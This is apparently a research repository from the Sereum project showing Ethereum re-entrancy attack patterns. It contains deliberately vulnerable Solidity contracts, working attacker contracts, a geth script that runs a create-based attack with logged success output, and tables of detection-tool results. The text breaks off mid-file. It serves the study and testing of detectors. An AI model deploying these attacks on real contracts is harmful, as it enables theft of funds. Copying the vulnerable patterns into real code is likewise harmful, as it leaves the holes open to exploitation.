├── README.md ├── create-based.sol ├── create-based_setup.js ├── cross-function.sol ├── cross-function_setup.js ├── delegated.sol ├── delegated_setup.js ├── manual-lock.sol ├── manual-lock_setup.js ├── simple.sol ├── simple_setup.js ├── unconditional.sol └── unconditional_setup.js /README.md: -------------------------------------------------------------------------------- 1 | # Re-Entrancy Attack Patterns 2 | 3 | These attack patterns were discovered during evaluation of `Sereum` a runtime 4 | monitoring solution for re-entrancy attacks, which utilizes taint tracking and 5 | dynamic write locks to detect and prevent re-entrancy attacks. For more 6 | information please refer to our paper *"Sereum: Protecting Existing Smart 7 | Contracts Against Re-Entrancy Attacks"* ([arxiv preprint](https://arxiv.org/abs/1812.05934)). 8 | 9 | For every type of attack pattern, this repository contains a small example 10 | implementation of a vulnerable contract and an attack. The source code of the 11 | vulnerable and attacker contracts are contained in the `*.sol` files. We also 12 | provide a `*_setup.js` file for every example, which deploys the contracts on a 13 | dev blockchain and exploits the vulnerability in the example contract. The 14 | scripts assume they're run in the geth dev mode blockchain (`geth --dev`). 15 | 16 | ### Cross-function re-entrancy 17 | 18 | **Example:** `./cross-function.sol` 19 | 20 | The Token contract in the example is vulnerable to a re-entrancy attack 21 | starting with the `withdrawAll` function. However, the attacker cannot 22 | re-enter the `withdrawAll`. Instead the attacker has to re-enter the contract 23 | at the `exchangeAndWithdrawToken` to exploit the bug and drain the vulnerable 24 | contract from ether. 25 | 26 | ### Delegated re-entrancy 27 | 28 | **Example:** `./delegated.sol` 29 | 30 | The `Bank` contract utilizes a library, called via `delegatecall`, for 31 | performing the ether sending. This obfuscates the re-entrancy vulnerability in 32 | the `withdraw` function. Any static analysis tool will not be able to detect 33 | this vulnerability when analyzing only the `Bank` contract and not the 34 | combination of the contract and its libraries. 35 | 36 | ### Create-based re-entrancy 37 | 38 | **Example:** `./create-based.sol` 39 | 40 | In this example, multiple contracts interact with each other. The `Bank` 41 | contract utilizes the `CREATE` instruction (i.e., `new` in solidity) to create 42 | new subcontracts. Contract creation immediately triggers the execution of the 43 | constructor of the newly created contract. This constructor can perform 44 | external calls to the unknown. This can lead to re-entrancy scenarios, where 45 | the attacker re-enters a contract, during execution of a sub-contracts 46 | constructor. For static analysis tools to catch these kinds of problems, they 47 | must (1) also analyze combination of contracts and (2) consider the `CREATE` 48 | instruction as an external call, similar to the `CALL` instruction. 49 | 50 | 51 | ## Tested Tools 52 | 53 | The following table lists the tools and versions we tested. If the tool detects 54 | the test-case, we mark it with "Yes", otherwise "No". Mythril, Securify and 55 | Slither use a conservative policy, that marks every state update after an 56 | external call. This would prevent all re-entrancy vulnerabilities, but also 57 | results in a rather high number of false positives. For example, for 58 | create-based re-entrancy vulnerabilities, it is highly likely that the creater 59 | of the contract, will want to modify the state (e.g., registering the address 60 | of the newly created contract). Another example would be the use of manual 61 | locking with mutexes, which is always reported with this policy. 62 | 63 | | Tool | Version | Simple | Cross-Function | Delegated | Create-based | 64 | | ------------- | ----------- | ---------------------- | ---------------------- | --------- | ------------ | 65 | | Oyente | 0.2.7 | Yes | No | No1 | No | 66 | | Mythril | v0.19.9 | Partial (conservative) | Partial (conservative) | No | Partial (conservative) | 67 | | Securify | 2018-08-01 | Partial (conservative) | Partial (conservative) | No | No | 68 | | Manticore2 | 0.2.2 | Yes | Yes3 | No | No | 69 | | Slither5 | 0.6.4 | Yes (conservative) | Yes (conservative) | Yes (conservative) | No | 70 | | ECFChecker | geth1.8port | Yes | Yes4 | Yes | No | 71 | | Sereum | | Yes | Yes | Yes | Yes | 72 | 73 | 74 | * 1 Oyente detects a re-entrancy in the Library contract. However, 75 | the library contract itself is arguably not vulnerable to re-entrancy. 76 | * 2 We evaluate the detector enabled with `--detect-reentrancy-advanced`. 77 | The other detector `--detect-reentrancy` uses a similar policy to Mythril and 78 | Securify. 79 | * 3 However, other tests (e.g., `manual-lock.sol`) show that 80 | Manticore is sometimes not as accurate and reports re-entrancy attacks even 81 | though they're not really possible. 82 | * 4 However, we crafted a different example for a cross-function 83 | re-entrancy attack that is not detected by ECFChecker. See the next section 84 | for details. 85 | * 5 In contrast to the other tools Slither works on the Solidity 86 | source code level. It has a similar policy to Mythril and Securify, i.e. it 87 | reports any state update after an external call using either the low-level 88 | Solidity `call` or `delegatecall` functions. 89 | 90 | 91 | ## Testcase: manual lock 92 | 93 | The file `manual-lock.sol` contains several versions of the same contract. These 94 | contracts can be used to investigate the quality of re-entrancy detection tools. 95 | This file contains three functionally equivalent contracts: 96 | 97 | * `VulnBankNoLock` is vulnerable to simple same function re-entrancy. 98 | * `VulnBankBuggyLock` is vulnerable to cross-function re-entrancy, due to a 99 | incomplete locking mechanism. 100 | * `VulnBankSecureLock` is not vulnerable due to the locking mechanism. However, 101 | the locking mechanism can result in a false positive. 102 | 103 | Furthermore, there are two types of attacks implemented against all of these 104 | contracts. 105 | 106 | * `MallorySameFunction` implements simple same-function re-entrancy 107 | * `MalloryCrossFunction` implements a cross-function re-entrancy attack 108 | 109 | Static analysis tools have a hard time correctly analysing the contracts. Oyente 110 | detects only the simple re-entrancy vulnerability and does not report the 111 | cross-function re-entrancy. Manticore on the other hand detects a re-entrancy 112 | bug in both the BuggyLock and SecureLock version, resulting in a false positive. 113 | Slither and Mythril mark any state update after an external call as a problem 114 | and therefore report a problem with every of those contract, even though the 115 | `SecureLock` variant is not exploitable. 116 | 117 | | Tool \ Testcase | NoLock | BuggyLock | SecureLock | 118 | | --------------- | -------- | --------- | ---------- | 119 | | Oyente | Yes | No | No | 120 | | Manticore | Yes | Yes | Yes | 121 | | Mythril | Yes | Yes | Yes | 122 | | Slither | Yes | Yes | Yes | 123 | | Expected | Yes | Yes | No | 124 | 125 | For the dynamic analysis tools, we use several combinations of vulnerable 126 | contracts and attack contracts. We verify whether the tool detects an attack 127 | against the same-function and cross-function re-entrancy attack. 128 | 129 | | Testcase \ Tool | ECFChecker | Sereum | Expected | 130 | | ---------------------------| ---------- | --------- | -------- | 131 | | NoLock + SameFunction | Yes | Yes | Yes | 132 | | NoLock + CrossFunction | No | Yes | Yes | 133 | | BuggyLock + SameFunction | No | Yes | No | 134 | | BuggyLock + CrossFunction | No | Yes | Yes | 135 | | SecureLock + SameFunction | No | Yes | No | 136 | | SecureLock + CrossFunction | No | Yes | No | 137 | 138 | The reason, Sereum reports all contracts, is that the locking mechanism itself 139 | does exhibit exactly the same pattern as an re-entrancy attack. So Sereum 140 | reports an re-entrancy attack on the lock variables, because Sereum cannot know 141 | the semantics of the lock variables. 142 | 143 | 144 | ## Unconditional Re-Entrancy 145 | 146 | **Example:** `./unconditional.sol` 147 | 148 | Typically a re-entrancy attack will try to subvert a business logic check of an 149 | application. Every check (`if`, `require`, `assert`, etc.) is implemented as a 150 | conditional jump (`JUMPI`) on the EVM level. While certainly unlikely it is 151 | possible to write a contract, which does not perform any check on anything 152 | before sending ether. In this example the functionality transfers all the ether 153 | a user has invested. This example is exploitable only with a re-entrancy 154 | vulnerability. ~~Currently this example is not detected by Sereum, since we 155 | assume that this is a rather unlikely case. We plan to detect this kind of 156 | vulnerabilities in a future versions of sereum.~~ 157 | 158 | | Tool | Detected | 159 | | --------------- | --- | 160 | | Oyente | Yes | 161 | | Manticore | Yes | 162 | | Slither | Yes | 163 | | Mythril | Yes | 164 | | ECFChecker | Yes | 165 | | Sereum | ~~No~~ Yes1 | 166 | 167 | * 1 We have extended Sereum to cover this type of re-entrancy by 168 | tracking data-flow from storage variables to the parameters of calls. 169 | 170 | Another very simple example is the following contract, which is deployed on the Ethereum blockchain at [0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7](https://etherscan.io/address/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7#code). 171 | 172 | ## Citing in Academic Work 173 | 174 | If you want to refer to these attack patterns in academic work, please cite the 175 | following paper: 176 | 177 | ```bibtex 178 | @inproceedings{sereum-ndss19, 179 | title = "Sereum: Protecting Existing Smart Contracts Against Re-Entrancy Attacks", 180 | booktitle = "Proceedings of the Network and Distributed System Security Symposium ({NDSS'19})", 181 | author = "Rodler, Michael and Li, Wenting and Karame, Ghassan and Davi, Lucas", 182 | year = 2019 183 | } 184 | ``` 185 | -------------------------------------------------------------------------------- /create-based.sol: -------------------------------------------------------------------------------- 1 | pragma solidity 0.5; 2 | /*pragma solidity ^0.4.21;*/ 3 | 4 | contract IntermediaryCallback { 5 | function registerIntermediary(address payable what) public payable; 6 | // for solidity 0.4.21 7 | /*function registerIntermediary(address what) public payable;*/ 8 | } 9 | 10 | contract Intermediary { 11 | // this contract just holds the funds until the owner comes along and 12 | // withdraws them. 13 | 14 | address owner; 15 | Bank bank; 16 | uint amount; 17 | 18 | constructor(Bank _bank, address _owner, uint _amount) public { 19 | // for solidity 0.4.21 20 | /*function Intermediary(Bank _bank, address _owner, uint _amount) public {*/ 21 | owner = _owner; 22 | bank = _bank; 23 | amount = _amount; 24 | 25 | // this contract wants to register itself with its new owner, so it 26 | // calls the new owner (i.e. the attacker). This passes control to an 27 | // untrusted third-party contract. 28 | IntermediaryCallback(_owner).registerIntermediary(address(this)); 29 | } 30 | 31 | function withdraw() public { 32 | if (msg.sender == owner) { 33 | msg.sender.transfer(amount); 34 | } 35 | } 36 | 37 | function () payable external {} 38 | } 39 | 40 | contract Bank { 41 | mapping (address => uint) balances; 42 | mapping (address => Intermediary) subs; 43 | 44 | function getBalance(address a) public view returns(uint) { 45 | return balances[a]; 46 | } 47 | 48 | function withdraw(uint amount) public { 49 | if (balances[msg.sender] >= amount) { 50 | // The new keyword creates a new contract (in this case of type 51 | // Intermediary). This is implemented on the EVM level with the CREATE 52 | // instruction. CREATE immediately runs the constructor of the 53 | // contract. i.e this must be seen as an external call to another 54 | // contract. 55 | // Even though the contract can be considered "trusted", it can 56 | // perform further problematic actions (e.g. more external calls) 57 | subs[msg.sender] = new Intermediary(this, msg.sender, amount); 58 | // state update **after** the CREATE 59 | balances[msg.sender] -= amount; 60 | address(subs[msg.sender]).transfer(amount); 61 | } 62 | } 63 | 64 | function deposit() public payable { 65 | balances[msg.sender] += msg.value; 66 | } 67 | } 68 | 69 | contract Mallory is IntermediaryCallback { 70 | Bank bank; 71 | uint state; 72 | Intermediary i1; 73 | Intermediary i2; 74 | 75 | function attack(Bank b, uint amount) public payable { 76 | state = 0; 77 | bank = b; 78 | // first deposit some ether 79 | bank.deposit.value(amount)(); 80 | // then withdraw it again. This will create a new Intermediary contract, which 81 | // holds the funds until we retrieve it. This will trigger the 82 | // registerIntermediary callback. 83 | bank.withdraw(bank.getBalance(address(this))); 84 | // finally withdraw all the funds from our Intermediarys 85 | i1.withdraw(); 86 | i2.withdraw(); 87 | 88 | // note that bank.balances[this] has underflowed by now, so we will see 89 | // also a huge balances entry for the Mallory contract. 90 | } 91 | 92 | function registerIntermediary(address payable what) public payable { 93 | // for solidity 0.4.21 94 | /*function registerIntermediary(address what) public payable {*/ 95 | // called by the newly created Intermediary contracts 96 | if (state == 0) { 97 | // we do not want to loop the re-entrancy until we run out of gas, 98 | // so we stop after the second withdrawal 99 | state = 1; 100 | // we keep track of the Intermediary, because it holds our funds 101 | i1 = Intermediary(what); 102 | // withdraw again - note that `bank.balances[this]` was not yet 103 | // updated. 104 | bank.withdraw(bank.getBalance(address(this))); 105 | } else if (state == 1) { 106 | state = 2; 107 | // this is the second Intermediary that holds funds for us 108 | i2 = Intermediary(what); 109 | } else { 110 | // ignore everything else 111 | } 112 | } 113 | 114 | function withdrawAll() public { 115 | i1.withdraw(); 116 | i2.withdraw(); 117 | } 118 | 119 | function () external payable {} 120 | } 121 | -------------------------------------------------------------------------------- /create-based_setup.js: -------------------------------------------------------------------------------- 1 | // Script for deploying and running a create-based re-entrancy attack against a 2 | // crafted vulnerable contract (see create-based.sol) 3 | // 4 | // usage: 5 | // first start geth in developer mode (no mining difficulty and prefundend 6 | // accounts) and start the JavaScript console interface of geth: 7 | // 8 | // $ geth --dev --dev.period=1 console 9 | // 10 | // Then load this script to setup everything: 11 | // 12 | // > loadScript("create-based_setup.js") 13 | // 14 | // Sometimes it takes a while for all contracts to be mined and commited to the 15 | // dev blockchain. Manually creating more transactions helps. Simply type: 16 | // 17 | // > transferSomething() 18 | // 19 | // If both the Token and Mallory contracts have been mined, the attack can be 20 | // started: 21 | // 22 | // > triggerAttack() 23 | // 24 | // 25 | // Example: 26 | // 27 | // > loadScript("./create-based_setup.js") 28 | // 29 | // === Create-Based Re-Entrancy Attack Example === 30 | // 31 | // prefunded balance: 1.15792089237316195423570985008687907853269984665640564039357584007913129639927e+77 32 | // attacker balance: 100000000000000000000 33 | // Creating bank contract 34 | // null [object Object] 35 | // Creating mallory contract 36 | // null [object Object] 37 | // 38 | // =============================================================================== 39 | // Wait for Bank and Mallory contracts to be mined. 40 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Bank contract are mined. 41 | // 42 | // Use triggerAttack() to start the attack 43 | // =============================================================================== 44 | // 45 | // true 46 | // null [object Object] 47 | // Contract mined! address: 0x2bbe8fc806b3f8a603a1ecbba0bf9076dbc541f4 transactionHash: 0xaa851c6a349d4ec1bac36f4a42fe6c042932e983690dca25f943c6ed9565ba5c 48 | // null [object Object] 49 | // Mallory Contract mined! address: 0x6571cd964ee48f420e8c975791d7f5f7990456b9 transactionHash: 0x05f0213200e0a0c0fb664ab092fdbbe93560204a54c06e4a366e210b97c63e46 50 | // 51 | // > t = triggerAttack() 52 | // 53 | // [+] Current status: 54 | // mallory has 1000000 wei 55 | // mallory has 0 wei deposited in Bank 56 | // bank has 1000000 wei 57 | // victim has 1000000 wei deposited in Bank 58 | // 59 | // [+] Executing attack 60 | // [+] ... done (waiting for a couple of blocks) 61 | // 62 | // [+] Current status: 63 | // mallory has 2000000 wei 64 | // mallory has 1.15792089237316195423570985008687907853269984665640564039457584007913128639936e+77 wei deposited in Bank 65 | // bank has 0 wei 66 | // victim has 1000000 wei deposited in Bank 67 | // Warning: bank doesn't have enough ether to give back victim's money 68 | // 69 | // mallory gained 1000000 wei 70 | // [+] attack status: SUCCESS 71 | // 72 | 73 | 74 | console.log("\n=== Create-Based Re-Entrancy Attack Example ===\n") 75 | 76 | var defaultPassword = ""; 77 | 78 | personal.newAccount(defaultPassword) 79 | personal.newAccount(defaultPassword) 80 | function unlockAllAccounts() { 81 | // this is the prefundend dev contract 82 | personal.unlockAccount(eth.accounts[0], defaultPassword) 83 | // we'll use this as "attacker" 84 | personal.unlockAccount(eth.accounts[1], defaultPassword) 85 | } 86 | unlockAllAccounts() 87 | 88 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 100000000000000000000}) 89 | admin.sleepBlocks(2) 90 | 91 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0])) 92 | console.log("attacker balance: " + eth.getBalance(eth.accounts[1])) 93 | 94 | function transferSomething() { // just transfer something to make geth commit the next block 95 | //console.log("(Transferring some ether)") 96 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100}) 97 | admin.sleepBlocks(1) 98 | } 99 | 100 | transferSomething() 101 | 102 | console.log("Creating bank contract") 103 | var bankContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"a","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]); 104 | var bank = bankContract.new( 105 | { 106 | from: web3.eth.accounts[0], 107 | data: '0x608060405234801561001057600080fd5b506106ec806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632e1a7d4d1461005c578063d0e30db014610097578063f8b2cb4f146100a1575b600080fd5b34801561006857600080fd5b506100956004803603602081101561007f57600080fd5b8101908080359060200190929190505050610106565b005b61009f610358565b005b3480156100ad57600080fd5b506100f0600480360360208110156100c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a6565b6040518082815260200191505060405180910390f35b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610355573033826101586103ee565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f0801580156101e4573d6000803e3d6000fd5b50600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610353573d6000803e3d6000fd5b505b50565b346000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040516102c2806103ff8339019056fe608060405234801561001057600080fd5b506040516060806102c28339810180604052606081101561003057600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806002819055508173ffffffffffffffffffffffffffffffffffffffff16630242deb8306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561017857600080fd5b505af115801561018c573d6000803e3d6000fd5b50505050505050610120806101a26000396000f3fe608060405260043610603f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633ccfd60b146041575b005b348015604c57600080fd5b5060536055565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141560f2573373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015801560f0573d6000803e3d6000fd5b505b56fea165627a7a723058205d70fe64375e019ade8d160d402812b04bb65d05d139c6681729e0fc459cda760029a165627a7a7230582049c936fb0df07082806ded68281194b2acc01dfcd61f9b3c74ba0c5c2ee2c19c0029', 108 | gas: '4700000' 109 | }, function (e, contract){ 110 | console.log(e, contract); 111 | if (typeof contract.address !== 'undefined') { 112 | console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 113 | } 114 | }) 115 | 116 | transferSomething() 117 | 118 | console.log("Creating mallory contract") 119 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"what","type":"address"}],"name":"registerIntermediary","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"b","type":"address"},{"name":"amount","type":"uint256"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]); 120 | var mallory = malloryContract.new( 121 | { 122 | from: web3.eth.accounts[1], 123 | data: '0x608060405234801561001057600080fd5b5061087f806100206000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630242deb81461005957806352fba25c1461009d578063853828b6146100eb575b005b61009b6004803603602081101561006f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610102565b005b6100e9600480360360408110156100b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610353565b005b3480156100f757600080fd5b50610100610715565b005b600060015414156102f6576001808190555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561024c57600080fd5b505afa158015610260573d6000803e3d6000fd5b505050506040513d602081101561027657600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156102d957600080fd5b505af11580156102ed573d6000803e3d6000fd5b50505050610350565b60018054141561034e57600260018190555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061034f565b5b5b50565b6000600181905550816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561042057600080fd5b505af1158015610434573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561053057600080fd5b505afa158015610544573d6000803e3d6000fd5b505050506040513d602081101561055a57600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156105bd57600080fd5b505af11580156105d1573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561065b57600080fd5b505af115801561066f573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156106f957600080fd5b505af115801561070d573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561083957600080fd5b505af115801561084d573d6000803e3d6000fd5b5050505056fea165627a7a72305820a9b96cb8c1f999e729f1b9fa2bdfa020a9bcd4f737ee353c7d23a264a598b1240029', 124 | gas: '4700000' 125 | }, function (e, contract){ 126 | console.log(e, contract); 127 | if (typeof contract.address !== 'undefined') { 128 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash); 129 | } 130 | }) 131 | 132 | admin.sleepBlocks(1) 133 | transferSomething() 134 | 135 | console.log("\n===============================================================================") 136 | console.log("Wait for Bank and Mallory contracts to be mined.") 137 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Bank contract are mined.") 138 | console.log("\nUse triggerAttack() to start the attack") 139 | console.log("===============================================================================\n") 140 | 141 | 142 | var _fundsInBank = 1000000; 143 | 144 | function donateInitial() { 145 | // victim deposits something into the bank 146 | bank.deposit({from: eth.accounts[0], value: _fundsInBank }) 147 | // attacker funds mallory contract 148 | eth.sendTransaction({from: eth.accounts[1], to: mallory.address, value: _fundsInBank}) 149 | admin.sleepBlocks(1); 150 | } 151 | 152 | function printStatus() { 153 | console.log("") 154 | console.log("[+] Current status:") 155 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei") 156 | console.log("mallory has " + bank.getBalance(mallory.address) + " wei deposited in Bank") 157 | console.log("bank has " + eth.getBalance(bank.address) + " wei") 158 | console.log("victim has " + bank.getBalance(eth.accounts[0]) + " wei deposited in Bank") 159 | if (eth.getBalance(bank.address) < bank.getBalance(eth.accounts[0])) { 160 | console.log("Warning: bank doesn't have enough ether to give back victim's money") 161 | } 162 | console.log("") 163 | } 164 | 165 | function triggerAttack() { 166 | transferSomething(); 167 | donateInitial(); 168 | transferSomething(); 169 | 170 | var preBalance = eth.getBalance(mallory.address) 171 | printStatus() 172 | 173 | console.log("[+] Executing attack") 174 | var t = mallory.attack(bank.address, _fundsInBank, {from: eth.accounts[1], gas: '4700000'}) 175 | console.log("[+] ... done (waiting for a couple of blocks)") 176 | 177 | transferSomething(); 178 | admin.sleepBlocks(3); 179 | printStatus() 180 | 181 | var gains = (eth.getBalance(mallory.address) - preBalance); 182 | console.log("mallory gained " + gains + " wei"); 183 | if (gains > 0) { 184 | console.log("[+] attack status: SUCCESS"); 185 | } else { 186 | console.log("[+] attack status: FAIL"); 187 | } 188 | 189 | return t; 190 | } 191 | 192 | function getAttackTrace() { 193 | a = triggerAttack(); 194 | return debug.traceTransaction(a); 195 | } 196 | 197 | transferSomething() 198 | -------------------------------------------------------------------------------- /cross-function.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | /*pragma solidity ^0.4.19;*/ 3 | 4 | contract Token { 5 | 6 | // This contract keeps track of two balances for it's users. A user can 7 | // send ether to this contract and exchange ether for tokens and vice 8 | // versa, given a varying exchange rate (currentRate). 9 | mapping (address => uint) tokenBalance; 10 | mapping (address => uint) etherBalance; 11 | uint currentRate; 12 | 13 | constructor() public { 14 | // for solidity 0.4.19 15 | /*function Token() public {*/ 16 | currentRate = 2; 17 | } 18 | 19 | // This contract supports various utility functions for transferring, 20 | // exchanging Ether and Tokens. 21 | // Note that this probably makes it rather hard for symbolic execution 22 | // tools to execute all combinations of possible re-entry points. 23 | 24 | function getTokenCountFor(address x) public view returns(uint) { 25 | return tokenBalance[x]; 26 | } 27 | function getEtherCountFor(address x) public view returns(uint) { 28 | return etherBalance[x]; 29 | } 30 | 31 | function getTokenCount() public view returns(uint) { 32 | return tokenBalance[msg.sender]; 33 | } 34 | 35 | function depositEther() public payable { 36 | if (msg.value > 0) { etherBalance[msg.sender] += msg.value; } 37 | } 38 | 39 | function exchangeTokens(uint amount) public { 40 | if (tokenBalance[msg.sender] >= amount) { 41 | uint etherAmount = amount * currentRate; 42 | etherBalance[msg.sender] += etherAmount; 43 | tokenBalance[msg.sender] -= amount; 44 | } 45 | } 46 | 47 | function exchangeEther(uint amount) public payable { 48 | etherBalance[msg.sender] += msg.value; 49 | if (etherBalance[msg.sender] >= amount) { 50 | uint tokenAmount = amount / currentRate; 51 | etherBalance[msg.sender] -= amount; 52 | tokenBalance[msg.sender] += tokenAmount; 53 | } 54 | } 55 | function transferToken(address to, uint amount) public { 56 | if (tokenBalance[msg.sender] >= amount) { 57 | tokenBalance[to] += amount; 58 | tokenBalance[msg.sender] -= amount; 59 | } 60 | } 61 | 62 | // This is the function that will be abused by the attacker during the 63 | // re-entrancy attack 64 | function exchangeAndWithdrawToken(uint amount) public { 65 | if (tokenBalance[msg.sender] >= amount) { 66 | uint etherAmount = tokenBalance[msg.sender] * currentRate; 67 | tokenBalance[msg.sender] -= amount; 68 | // safe because it uses the gas-limited transfer function, which 69 | // does not allow further calls. 70 | msg.sender.transfer(etherAmount); 71 | } 72 | } 73 | 74 | // Function vulnerable to re-entrancy attack 75 | function withdrawAll() public { 76 | uint etherAmount = etherBalance[msg.sender]; 77 | uint tokenAmount = tokenBalance[msg.sender]; 78 | if (etherAmount > 0 && tokenAmount > 0) { 79 | uint e = etherAmount + (tokenAmount * currentRate); 80 | 81 | // This state update acts as a re-entrancy guard into this function. 82 | etherBalance[msg.sender] = 0; 83 | 84 | // external call. The attacker cannot re-enter withdrawAll, since 85 | // etherBalance[msg.sender] is already 0. 86 | msg.sender.call.value(e)(""); 87 | 88 | // problematic state update, after the external call. 89 | tokenBalance[msg.sender] = 0; 90 | } 91 | } 92 | } 93 | 94 | // attack contract 95 | contract Mallory { 96 | Token t; 97 | // this is used to stop the re-entrancy after the second time the Token 98 | // contract sends Ether to the Mallory contract. 99 | bool private abort; 100 | 101 | constructor(Token _t) public { 102 | // for solidity 0.4.19 103 | /*function Mallory(Token _t) public {*/ 104 | t = _t; 105 | abort = false; 106 | } 107 | 108 | function deposit() public payable {} 109 | 110 | function setup() public payable { 111 | // exchange nearly all available ether to tokens 112 | uint avail = address(this).balance - 2; 113 | t.exchangeEther.value(avail)(avail); 114 | // deposit the last remaining ether 115 | t.depositEther.value(address(this).balance)(); 116 | } 117 | 118 | function attack() public payable { 119 | // call vulnerable withdrawAll 120 | 